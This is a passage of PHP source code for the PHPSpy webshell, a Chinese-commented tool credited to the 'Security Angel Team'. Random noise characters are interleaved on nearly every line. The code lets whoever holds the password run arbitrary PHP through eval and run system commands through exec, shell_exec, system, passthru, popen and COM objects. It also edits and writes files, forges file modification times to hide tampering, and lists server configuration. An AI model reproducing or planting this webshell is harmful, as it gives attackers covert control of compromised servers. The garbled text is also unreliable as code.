- makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
6 ]9 `& E) q3 g' x; B! ] - p('Your Port:');
! X$ A4 C7 o: h. |# J6 j3 O - makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
% r. a* ]! N- w \3 C2 F& M# n" W - p('Use:');
+ R# y9 ?* T& e7 k - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));) k- Q! Q: j- S0 V# @' E
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
2 L- _& J1 |8 k( l - p('</p>');' }- K; W" z' I1 N. [2 l
- formfoot();2 G5 I% ]/ Y% S. r; w
- }//end sql backup3 l' F$ E: _) }2 ~9 u$ C+ }
- elseif ($action == 'eval') {, R: K- I1 L4 d4 ]! K% s
- $phpcode = trim($phpcode);
' J4 N" _8 q% g1 B8 U C# J# d - if($phpcode){( O" t: t D! K! G
- if (!preg_match('#<\?#si', $phpcode)) {8 w8 D4 n: P" Q/ J9 U- _; p q
- $phpcode = "<?php\n\n{$phpcode}\n\n?>"; Z, M$ U2 p* M2 {
- }
1 u' S r. _7 q' r. O$ k - eval("?".">$phpcode<?");
! C; _* D/ R" ^: l7 T3 X) v - }8 b% ]/ L! K( |4 s/ s
- formhead(array('title'=>'Eval PHP Code'));6 X0 F& p% o! I4 ^
- makehide('action','eval');
, \/ Y" P* h6 O5 B - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));8 }) }+ S; f; C W9 M: v0 w
- p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');) ]; R) m" l9 h2 z3 W% w4 f% y8 S
- formfooter();! f o1 _. }9 T* F& ?2 d- Y
- }//end eval1 x8 ^" U3 R$ o/ B
- 9 a4 S$ Z; p( L3 C
- elseif ($action == 'editfile') {
* M# d% B) Q' a8 ^ - if(file_exists($opfile)) {# `' A5 v. j4 s9 A# k- g- o
- $fp=@fopen($opfile,'r');
% l b7 ], ~( S - $contents=@fread($fp, filesize($opfile));8 q0 l: T2 `& V1 z- X
- @fclose($fp);6 W7 O! K# i. U4 Y; F3 G
- $contents=htmlspecialchars($contents);+ D- n( r; N9 n2 S6 A, I: |/ i! M
- }
% N' }* U$ E( g: w& ^7 @ - formhead(array('title'=>'Create / Edit File'));) s- X7 k: ?; }- u+ }, C& ~
- makehide('action','file');: t3 M r( s/ N: ?6 `
- makehide('dir',$nowpath);
) Y8 O {% U5 a. y, i/ G - makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));0 w' y b5 ^( ]+ s; p/ B, t
- maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
* O$ \8 h5 a/ n4 U7 C( E. y - formfooter();
5 \9 Y% f4 R, c - }//end editfile
! ~# H# T1 u% i6 ~3 i9 C( _( c -
# Y& A& P& H! L8 P - elseif ($action == 'newtime') {
# [0 C$ f+ t4 s' k7 \/ \ ?% n H - $opfilemtime = @filemtime($opfile);
. ]) q5 z5 j7 M( }5 k - //$time = strtotime("$year-$month-$day $hour:$minute:$second");- t! ~1 _3 x3 L& S
- $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
% l; A; i5 n+ X s+ a) L - formhead(array('title'=>'Clone file was last modified time'));
) z3 u8 f m- q. m [$ K' {( X# ` - makehide('action','file');
2 u Z, j+ w) \, r0 y - makehide('dir',$nowpath);; |: I8 L; Z* Y1 K
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
5 s" m) [+ \# n& @! P9 C - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1)); A" O# }+ Q9 M# }# y! L( m2 A
- formfooter();
% Y. q( [& U! C7 r6 |& Y5 n - formhead(array('title'=>'Set last modified'));/ w% ^; g5 z+ t9 E
- makehide('action','file');2 o" a0 u2 K' V0 i. T8 a( N& ^
- makehide('dir',$nowpath);
% E. {) l9 t+ i' L: H) S, g2 e - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));; K7 l- f+ @3 x% }. y! T# ]9 l/ O
- p('<p>Instead »');: E+ Q4 [- a! J7 `9 g+ f
- p('year:');
- i ~9 O# L5 P8 C% W n - makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));! }4 w z3 y: W ?/ l
- p('month:');2 X0 n4 a; L# Z- b1 w f. _
- makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));4 v* w: S G$ K7 }
- p('day:');2 q0 O$ c9 v1 M& G3 a" G
- makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));4 U7 u9 s) X- I- T& O' `
- p('hour:');/ Y& j P+ u$ {1 r# S9 y
- makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
' z1 ^8 ]0 `( U# k - p('minute:');7 K0 U' k7 S9 q# H7 w
- makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
+ ]; B. G2 P6 |. m- I( Q3 H% P - p('second:');
$ \) r' M6 B. r7 Q* ]7 a - makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
! O( h4 @2 k( a Y- N - p('</p>');
# o: H: g% Y( U6 X4 Q1 F( U( { - formfooter();
5 ]8 u7 y7 e3 g - }//end newtime
+ z, e l" c5 i1 y m -
* P7 Z% V* t. `% v, c& A5 m - elseif ($action == 'shell') {
K7 B6 I4 L( ` s- L9 j5 M - if (IS_WIN && IS_COM) {
B1 t: H% K) T - if($program && $parameter) {
P' e# N+ E7 Q - $shell= new COM('Shell.Application');
0 i8 O% T# n2 {& x - $a = $shell->ShellExecute($program,$parameter);' F/ G9 t6 W$ r1 ^* f& A" W
- m('Program run has '.(!$a ? 'success' : 'fail'));
1 E5 _: H7 h6 L0 q" d+ p' C - }; G" k0 ~4 h2 z* u: w
- !$program && $program = 'c:\windows\system32\cmd.exe';
+ k) W+ T7 y( Q! y& Y! U3 z% Q3 q - !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';0 h7 Y# {0 E% _) W
- formhead(array('title'=>'Execute Program'));
* |5 r3 P7 g7 b8 u- T8 E - makehide('action','shell');
% z3 _+ _. E( H6 q - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
, w9 Z8 N+ R$ d8 f# ?2 Z w - p('<p>');
5 b/ J3 I# [! a4 e6 J/ v - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));7 l( f5 i2 l9 o, M& p/ T
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));$ h1 Q$ V0 Y) W7 W# N; P
- p('</p>');$ j; ^$ g. {) @" p+ a* ?$ w7 ~0 r$ b
- formfoot();5 |- V0 P( Y& x1 T# U P6 f
- }4 q# B3 J# `! z4 x9 y# R
- formhead(array('title'=>'Execute Command'));
& c* {2 w" ~( c& v6 U- i - makehide('action','shell');% ^& G( u$ h h5 `1 h) G2 R( \
- if (IS_WIN && IS_COM) {! ^1 _% Q/ T7 ~3 l
- $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
( i! z; g5 d& K/ Q8 l, u - makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));: m" P4 D2 x- u7 F# j% p) X
- }. i& L% E3 j$ K* v4 g/ J+ b- h
- p('<p>');9 J: g+ `3 U9 f7 h5 v, X& S U$ B
- makeinput(array('title'=>'Command','name'=>'command','value'=>$command));& ?. M; e+ y+ N# [" n' F2 f5 s
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
b% F( u# z. e - p('</p>');
% O& K1 {, G9 B( m2 J. n# `- f8 \, Z - formfoot();4 t; m9 h! w4 r: [3 q* ^
- / p1 h/ _7 }, i, C
- if ($command) {
1 S4 z) P6 y3 p2 d9 |+ x/ x - p('<hr width="100%" noshade /><pre>');
* k, g$ h* [# N O: q& @3 N - if ($execfunc=='wscript' && IS_WIN && IS_COM) {
/ P& N( J i' T, }+ Z7 Y6 h2 R - $wsh = new COM('WScript.shell');
; o9 u' Y0 N% d6 ^$ y6 M+ R- q7 } - $exec = $wsh->exec('cmd.exe /c '.$command);( v* Y! U" ^. u9 R( d0 e0 c/ S% ?* y. R
- $stdout = $exec->StdOut();) @, w+ c7 ]9 E
- $stroutput = $stdout->ReadAll();' E) {) A# ^6 e7 U
- echo $stroutput;
4 Q1 W$ `! {) t - } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
: r6 M4 w: p4 p2 ] ^& v7 d - $descriptorspec = array(
r, V! U3 C4 Q - 0 => array('pipe', 'r'),
+ H3 f' k6 F1 ~( R* M# [7 {5 z m4 W - 1 => array('pipe', 'w'),- S8 n4 a# D& R4 g
- 2 => array('pipe', 'w')
# P9 i% F* _) M. J - );( \) C( e4 M, c; ?
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
& ]* v8 G* S# n; C8 A) T. N* Q - if (is_resource($process)) {% I; O% h+ c& |8 d; G* X& k4 E
- fwrite($pipes[0], $command."\r\n");
9 M \: t, Y& S- q7 \, _; w3 V- H - fwrite($pipes[0], "exit\r\n");
' J$ v0 r) c$ K1 M) L9 ~ - fclose($pipes[0]);3 o6 H4 b7 ^" X3 v3 N
- while (!feof($pipes[1])) {. ~. x0 m8 v9 B+ \" m
- echo fgets($pipes[1], 1024);
7 c( x% S& B. c" {* R5 y6 D3 c0 s3 B - }& }; m3 h7 E. d/ ]" ?; @: O6 m; o+ D
- fclose($pipes[1]);, D3 N7 G' f/ i! y' ^* h
- while (!feof($pipes[2])) {
( n" b. y* \3 b1 w% O - echo fgets($pipes[2], 1024);( {- R$ i$ U2 \9 T
- }
! D1 y0 e, [/ y7 t; \ - fclose($pipes[2]);# w* L) @8 t1 }% U" Y5 H B( k2 J [
- proc_close($process);7 I- G i% U: q9 p. E
- }( x9 Z5 [; i) s6 b& {
- } else {
2 r/ s. T+ K* ~9 l - echo(execute($command));2 ]1 C/ g1 N* t2 e& t0 n z8 j
- }
# b% k9 P) a0 M1 R; n( Q4 u - p('</pre>');
/ |+ m2 g2 b& [" ^0 l, v& u3 ^% u - }+ z( i0 ?2 Y @+ }( L9 q& V
- }//end shell z6 w: D. ?9 \' J' } \
- 3 P1 a; e0 L) w5 p5 F
- elseif ($action == 'phpenv') {
/ \2 o$ d0 u, I - $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$ d/ j. D9 W( N) s% V. K% L2 f - $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');# c% F. D% u! O) f- d; P# p
- !$dis_func && $dis_func = 'No';
/ e. J% G0 B" H) W1 y) @1 | - $info = array(
/ I- ~5 O" j/ a& j: S; a - 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),4 x. V$ J3 S9 K% w2 Q/ F
- 2 => array('Server Domain',$_SERVER['SERVER_NAME']),5 h2 O$ y I# n. R( ?3 z) d
- 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
% g- W( ?+ r2 O- C - 4 => array('Server OS',PHP_OS),! R ~( L5 }+ e2 X9 T" j
- 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
) J+ q0 B5 D$ s& }$ i& B* ?3 X( y - 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),4 i! s0 H9 s4 K& `' s5 N; H$ d1 `( r& P
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT']), D( d# ^" x n) g7 i
- 8 => array('PHP run mode',strtoupper(php_sapi_name())),
) i7 |5 `2 I$ p8 h - 9 => array('The file path',__FILE__),
0 P) G" F. L' w" @/ }+ Y0 [ -
: |1 q1 X, N! Z# L" Q - 10 => array('PHP Version',PHP_VERSION),
- U6 Q$ t1 S2 K - 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
# b; G5 h# E: t - 12 => array('Safe Mode',getcfg('safe_mode')),
; d8 }" v k+ l3 z4 [1 i - 13 => array('Administrator',$adminmail),
* B# u9 L9 i# J0 p - 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
+ v: D8 _$ Y& f1 X7 l/ k - 15 => array('enable_dl',getcfg('enable_dl')),2 a: `! q2 u5 `' [& c
- 16 => array('display_errors',getcfg('display_errors')),
" U2 |! w4 P$ z; _( l - 17 => array('register_globals',getcfg('register_globals')),
6 j3 Y7 J& v. w - 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),- A5 C# W: U! l2 `
- 19 => array('memory_limit',getcfg('memory_limit')),
% m: V% n2 z. f- N1 K( r* p - 20 => array('post_max_size',getcfg('post_max_size')),
7 \3 K9 E6 R+ z5 o& E1 Z; x - 21 => array('upload_max_filesize',$upsize),
- u7 r F! X2 Z! Q# d2 @ - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
5 l& D% W6 x. j* e8 N - 23 => array('disable_functions',$dis_func),( n& \! k- S6 d3 G& k3 [2 n9 [9 S
- );3 X$ e" a6 e2 Q: X! w
- # v1 a# d: y0 ~5 J5 R5 H+ Z, w
- if($phpvarname) {
( o6 T$ g& O3 o* u2 Y. a - m($phpvarname .' : '.getcfg($phpvarname));
( S9 r- s$ s" N. L. q: Z - }$ u0 G3 v' x! x, `
-
7 P4 L x: U# e! _8 Z - formhead(array('title'=>'Server environment'));8 C K( Z; ~. X# w, E
- makehide('action','phpenv');
5 k2 R5 o0 a8 K0 g9 ^) s; U - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
$ Z3 R. S! _( c$ l - formfooter();
7 R* y! M+ l) \8 O: m+ o* T -
, `! b3 o/ }0 `* l2 ^ - $hp = array(0=> 'Server', 1=> 'PHP');
: J- Q8 B4 }4 d3 W4 M - for($a=0;$a<2;$a++) {
' G: a! t j Y) p2 J, y - p('<h2>'.$hp[$a].' »</h2>');9 r; @: g [ \3 T2 {2 w% w
- p('<ul class="info">');" ]- J) R& m# D3 H5 j3 y6 B5 t
- if ($a==0) {& U+ K$ j0 l2 _) |' Z! s$ s$ B
- for($i=1;$i<=9;$i++) {! z6 s5 l2 E8 J/ U! I) l
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
2 u$ |5 ~1 \& D - }$ s+ m" _; k5 A
- } elseif ($a == 1) {8 d8 m! j! O! ~) R$ l+ k E
- for($i=10;$i<=23;$i++) {
% \1 e( b' V( s& \6 |! t, C5 e - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
9 A) R9 N& {# @- `) } - }
/ W2 l8 E7 u7 u; J6 V; X" R - }' f) h( Z6 w2 ]! s. V: `$ R
- p('</ul>');; T% Z3 |( u& b/ i
- }
8 m3 X& ]5 V- ^) h) ^# _% Z# S0 {# _ - }//end phpenv
; K; [( u, y7 V8 H: u0 `) P# N - ' U ~# N: z) T1 s/ O- L; _& }1 Q
- else {$ @$ J, \1 z0 M& B0 w
- m('Undefined Action');
7 K+ O* o, u! n* {, K* i r2 K* ?9 _ - }
# Z0 N& z! W l2 f1 e4 a/ ^ - 6 D8 g1 F8 {: B# Z! z: X
- ?>$ k/ H% C4 d8 K* i5 Q+ `8 x* Y
- </td></tr></table>. {' {. \# A4 V9 ], _8 L
- <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">0 ]+ Z3 F4 g5 o/ t2 e( Y! L F1 r$ Q
- <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
@' I3 y) _* l9 W. |: n - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.2 T- H& C$ D3 S" [1 \$ G& Q Y' D3 x
- </div>
. K- x7 |: h0 b: W5 P - </body># K7 ]1 U6 s( K, ^: n' [
- </html>
1 d% R5 O- n8 Z u4 g" P8 Z - 3 I" v% k! ~$ H! P5 c! v7 |
- <?php/ W2 ~& h! T6 E0 B
-
6 e4 ~$ B' U( M - /*======================================================
4 i7 d3 _3 V1 e - 函数库* _& o" x) A/ X5 S" A
- ======================================================*/8 M, n7 I/ h- F& @0 t* Y
-
4 t) u9 l3 n0 ?/ r' H, z - function m($msg) {
& @. N# f3 H' Y0 H - echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
! I% ~, A! W8 I' F& z2 L - echo $msg;
1 G5 O- h9 E, n4 z1 s - echo '</div>';* {5 R' C7 _: y& M
- }# _% a, f, Z1 s2 Q7 e8 y
- function scookie($key, $value, $life = 0, $prefix = 1) {1 O2 a N) W" r' Z9 r/ d
- global $admin, $timestamp, $_SERVER;
: z" m6 z1 s# D- n" b/ Y - $key = ($prefix ? $admin['cookiepre'] : '').$key;4 c4 P" b G% p g( K
- $life = $life ? $life : $admin['cookielife'];
9 [' A' ]( g' X4 t2 D: g6 x' F( C4 w - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;4 p& x% g7 \7 B, o, A
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);( H9 n! S3 i# J* |+ c5 \, j8 p- `& T8 z3 n
- } & I/ [2 |5 B+ B2 A5 K
- function multi($num, $perpage, $curpage, $tablename) {
! U) s9 [4 F7 d- X" K$ | - $multipage = '';! \! v8 v( G. b( }0 W) q( E6 ^
- if($num > $perpage) {% }) ?) T0 y( @9 s6 H, f: [! b
- $page = 10;
) K9 R& ^' p+ C' ? g - $offset = 5;
- q5 Z* E/ P: ?+ N) l - $pages = @ceil($num / $perpage);' R" @0 X3 t( f' R p
- if($page > $pages) {$ I+ Q2 d0 I' c; x* a
- $from = 1;0 [! O* c! e! W$ r1 C+ }. T
- $to = $pages;6 G# h( n& W$ F- J* L
- } else {
$ g! e) e+ n7 n) `* e* e - $from = $curpage - $offset;. ^, i6 g. G4 z7 ^
- $to = $curpage + $page - $offset - 1;$ z _8 o0 M$ X' B4 W2 E
- if($from < 1) {1 M) `; n, O, X! ]. i" f5 Q
- $to = $curpage + 1 - $from;& N' ~: J3 h0 W
- $from = 1;- j$ Y+ P& W& ~
- if(($to - $from) < $page && ($to - $from) < $pages) {4 B6 C( d" ]# d! y% I) n4 a
- $to = $page;
) a- ^$ L& N7 ^/ `$ }/ }# i Q3 J - }1 b+ I& R8 u6 J) u
- } elseif($to > $pages) {
, H5 L6 ^0 g5 I' d- @3 M: D" \ - $from = $curpage - $pages + $to;
$ C0 x$ u- w: T) S - $to = $pages;# s1 ~- A) q# Q) O& X9 b6 s6 B" F
- if(($to - $from) < $page && ($to - $from) < $pages) {
; v( b5 I* y `* r) e$ L: i - $from = $pages - $page + 1;( j# n- n2 k# C$ j \) W8 i- C( w
- }
9 M4 ~$ X* P* P* j) x - }* J$ n) R% g/ G
- } T: w+ F0 j6 ^( o$ p
- $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');+ O; ~4 M( _% f& _. U% T
- for($i = $from; $i <= $to; $i++) {6 `! l8 p- g/ s
- $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';* T4 P; o7 k5 J% a, }
- }/ ^- i1 r- ~3 o& {9 l! X& c
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');$ i7 d3 o2 Z! | a H
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';. T' w' P$ e7 k6 p: M+ \
- }! p i6 f# y9 V2 v7 V1 U( W
- return $multipage;
9 v5 D/ x9 L1 C# d - }3 |5 i' `# V- i5 Y
- // 登陆入口
/ |. T4 D: p5 X; Q - function loginpage() {
9 H) }' P# R' N& e4 q& J - ?>$ f# Y. c2 R; H3 P6 { W
- <style type="text/css">, b- ^! ^; z, c2 a. t; Q$ |
- input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}+ i- e" v" G- r1 e: |7 Z
- </style>
( w/ l5 b2 R! l: C* ] - <form method="POST" action="">
7 t5 m, |" g( C4 @1 H } - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20"> y- H$ _% i6 l z2 R* C% C3 S
- <input type="hidden" name="doing" value="login">3 D* J$ ^4 v/ `9 f: `7 G
- <input type="submit" value="Login">
5 R7 c! d8 h6 S3 ?/ c- { - </form>
) p% H0 P1 _8 S' d' T$ B) V - <?php
' }! h, {$ _ Z N - exit;! X6 I" l( F% O, s" m# t* |! A5 k
- }//end loginpage()% f0 H# i" j5 l( O( c) r! F
- % j9 M. N9 b0 X3 h$ S7 y2 Y" j
- function execute($cfe) {
V/ d2 s8 E0 z" W - $res = '';% z/ O( P3 g, P! Y0 ~' ]* v u
- if ($cfe) {
" n. }) e+ \/ ^. n$ i- @ - if(function_exists('exec')) {
$ @, v- ^9 i( @; F - @exec($cfe,$res);0 F- {/ @" {6 N: t$ [- s! I* I
- $res = join("\n",$res);8 C4 a0 ?' N; ?+ C6 v, h
- } elseif(function_exists('shell_exec')) {( ^1 P, F( Q* c+ \& a9 V& }
- $res = @shell_exec($cfe);4 I9 ~. k5 I8 Y: f$ J" p4 {
- } elseif(function_exists('system')) {
3 z- l- n ?* U$ o1 a9 m" \& Z2 d - @ob_start();
+ ~ F* \1 H& R' ` @! y - @system($cfe);6 i8 B4 w) H h' U% L0 M
- $res = @ob_get_contents();
3 k5 F- h% g7 R5 t - @ob_end_clean();
# u. i* i0 j& P6 J e - } elseif(function_exists('passthru')) {
* F0 @, [' ~ ?8 H - @ob_start();* G4 h4 i* u$ r8 I4 t% K# ~2 c9 N
- @passthru($cfe);/ ^) S2 U) C/ X* d" l& V- ]
- $res = @ob_get_contents();
. S( ^8 S/ h q2 ], N3 r9 r - @ob_end_clean();/ H ?$ _1 ^6 M1 m. S
- } elseif(@is_resource($f = @popen($cfe,"r"))) {
& e# L$ e4 N' W$ T# f$ ?% X - $res = '';
# {4 h0 R. ^4 o* L! F& Z1 H1 f - while(!@feof($f)) {6 ? Y# k/ D( C0 U) Q7 g
- $res .= @fread($f,1024); 5 P+ V4 v/ ]3 o3 }
- }2 \. d3 V R* b1 E$ w
- @pclose($f);
( e4 R! m9 I( y6 F7 P: Y - }( w/ A5 y9 ?$ q$ G
- }
$ Q8 z/ U9 ~: Z - return $res;% g0 {3 i3 b5 a2 G9 {
- }8 j4 Z4 ^& c3 s( C4 c/ d% {" L0 m
- function which($pr) {: `5 H5 I$ y5 `6 V1 T
- $path = execute("which $pr");3 W; d, \& G$ G% R
- return ($path ? $path : $pr);
" ~- h5 A+ B# w' B" S1 M, \9 T X- M - }2 J, f: N* @8 O$ W" a
- * _- k8 f7 u p" g- e- W9 J
- function cf($fname,$text){
1 w- p& {# | E+ I- J. [" C - if($fp=@fopen($fname,'w')) {, D3 W1 \9 Y8 F: U2 P* J; ^
- @fputs($fp,@base64_decode($text));
. I4 M+ T3 o& ?* t+ e1 F& _4 { - @fclose($fp);# L0 }+ }: D: U$ m* S
- }; k, I- ^* r: [7 t3 }
- }9 r( E& q4 q8 H. p I2 b) g$ i
- 3 k9 _$ o! Z" \( g+ B$ B( s% t: j
- // 页面调试信息
. r) L$ o, [+ Y, s6 G3 w - function debuginfo() {
0 L, e: N0 d ~; ] - global $starttime;3 O" g$ M7 r$ \& p- n' V( {6 @& B
- $mtime = explode(' ', microtime());/ e y/ d4 U( E% s" f$ V
- $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
\+ _2 B+ `7 O) A: K1 J - echo 'Processed in '.$totaltime.' second(s)';( l1 `6 @* H' c1 L7 C' R' K6 B( n
- }6 w* |6 L/ `9 Q9 @0 B' f
-
& g* M+ x6 [; x2 K+ { - //连接数据库
7 _' L7 V% I) W$ c: } - function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
% L5 ~) p9 o0 |: Y2 F4 ^* d6 D/ \2 w - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
2 ^" h3 e: C" E4 T - p('<h2>Can not connect to MySQL server</h2>');1 D) O8 l! x4 D; \/ o
- exit;
% j* K' I6 C- x/ E' | - }7 t) h2 g; y$ v& Q& d% ^( z) _3 ~
- if($link && $dbname) {; d; Y, \) ?* Z# O( e1 R8 ~
- if (!@mysql_select_db($dbname, $link)) {
) c8 L0 i9 J* r; K+ f w0 L - p('<h2>Database selected has error</h2>');1 ~' \" f$ N) M
- exit;) q; n% C" T/ `# v. ~5 j/ c. c' g
- }
8 T7 ]3 x& [) B( o - } R( c4 Z( B: s+ T( r" _6 U
- if($link && mysql_get_server_info() > '4.1') {
6 {! Q" c; n# X) M - if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
& W0 X" _/ h9 Q( e/ M7 f - q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
, j& z8 W! X) V' Y1 h0 e1 I3 t - }
1 i* V/ z) p% e0 R - }
9 L! X, `, `# x- Y# F. M - return $link;
a5 m! M+ Y4 ~- A, V! x3 V f4 | - }+ M% X$ @ y1 r4 E" ^" F7 l
- 8 X9 L' m9 |9 I0 u8 @
- // 去掉转义字符
5 S5 U+ Y& t& _6 s% `* M" ?; Y - function s_array(&$array) {
' G" ]; b% O, k5 |, E6 \3 @ - if (is_array($array)) {
6 q2 C: B% L/ U& y' b! |+ u* h - foreach ($array as $k => $v) {
/ S6 r0 }0 K$ s" ?$ i( _ - $array[$k] = s_array($v);
; b: ~0 Y% x+ B! i9 }2 f9 t - }. K: l' ?; e$ Z) q2 q" @
- } else if (is_string($array)) {5 x7 R+ l$ U( ^$ Z* }4 M
- $array = stripslashes($array);% T, {; t5 C, A& X
- }$ E O- Y2 ?7 G/ X. ]9 p( H, t% t
- return $array;5 \) L& C! Q' T4 ^3 o
- }
$ s- C- Z# a- w! ]" O - 7 J4 r4 z& _+ w' p0 p& O$ N
- // 清除HTML代码
- N1 t# L5 e" L% ^9 b - function html_clean($content) {8 d( q. s; h2 q
- $content = htmlspecialchars($content);
8 _- \& X( V9 B2 w# p3 M - $content = str_replace("\n", "<br />", $content);9 K+ i! q) e6 x3 N' k6 ^
- $content = str_replace(" ", " ", $content);
3 V, y! ?( x3 F- L5 j - $content = str_replace("\t", " ", $content);" q5 q% o0 W# u2 K8 f% v
- return $content;1 C: {% S6 }: m/ C: [4 T) Z! t- w
- }
1 g) \: C1 x+ t7 H8 ^# F - h8 n: O5 ~% |7 s- w
- // 获取权限4 p. t# g$ T! u& ]
- function getChmod($filepath){
7 S, P. C5 D9 s - return substr(base_convert(@fileperms($filepath),10,8),-4);% V. G+ ~( H( o" @: S
- }
0 k7 k: C0 E! B5 R - % H2 R. }( t& E% r
- function getPerms($filepath) {! B4 C5 l, O# U9 M# H6 L8 d
- $mode = @fileperms($filepath);0 s- c! ?( G6 N' T J! N# Q
- if (($mode & 0xC000) === 0xC000) {$type = 's';}
' X e! Z4 X; ~ - elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
- @$ ]) n; {0 ^3 ?/ d4 z - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
" j/ T. ~* \% l: Y" \) a+ l5 S - elseif (($mode & 0x8000) === 0x8000) {$type = '-';} % @5 l2 H; f2 ~
- elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
# s! L( d) \3 a/ W3 v, o9 I - elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}" ?: g, Z# u( B4 W; H' ~# |
- elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
. Q* m2 B" y; v8 X: ]+ y) i! c p - else {$type = '?';}
0 o) X% u! w6 S -
0 e, c' U8 M2 o/ P - $owner['read'] = ($mode & 00400) ? 'r' : '-'; ; `* O3 f4 V+ Z0 v
- $owner['write'] = ($mode & 00200) ? 'w' : '-';
- p" c2 ]! x/ A3 C7 ] - $owner['execute'] = ($mode & 00100) ? 'x' : '-';
2 b. H. A! f( s) c1 p - $group['read'] = ($mode & 00040) ? 'r' : '-';
0 Q8 C: r$ D# G - $group['write'] = ($mode & 00020) ? 'w' : '-'; ! n9 [+ F1 u1 v' t( H! y
- $group['execute'] = ($mode & 00010) ? 'x' : '-';
: j* V& L* i8 V( ?; Y' q+ ^ - $world['read'] = ($mode & 00004) ? 'r' : '-'; 6 c' C2 [& P+ x& U
- $world['write'] = ($mode & 00002) ? 'w' : '-';
' F0 b7 ~ D A% e% K) \. v - $world['execute'] = ($mode & 00001) ? 'x' : '-'; $ t3 B) A+ O) k- x
-
7 M6 E; @! G; C/ w( d1 T - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
; c- A/ j+ j" ? - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
0 p3 T0 Z1 ]8 I4 f, B) B& { - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}# M) R# z& w* S
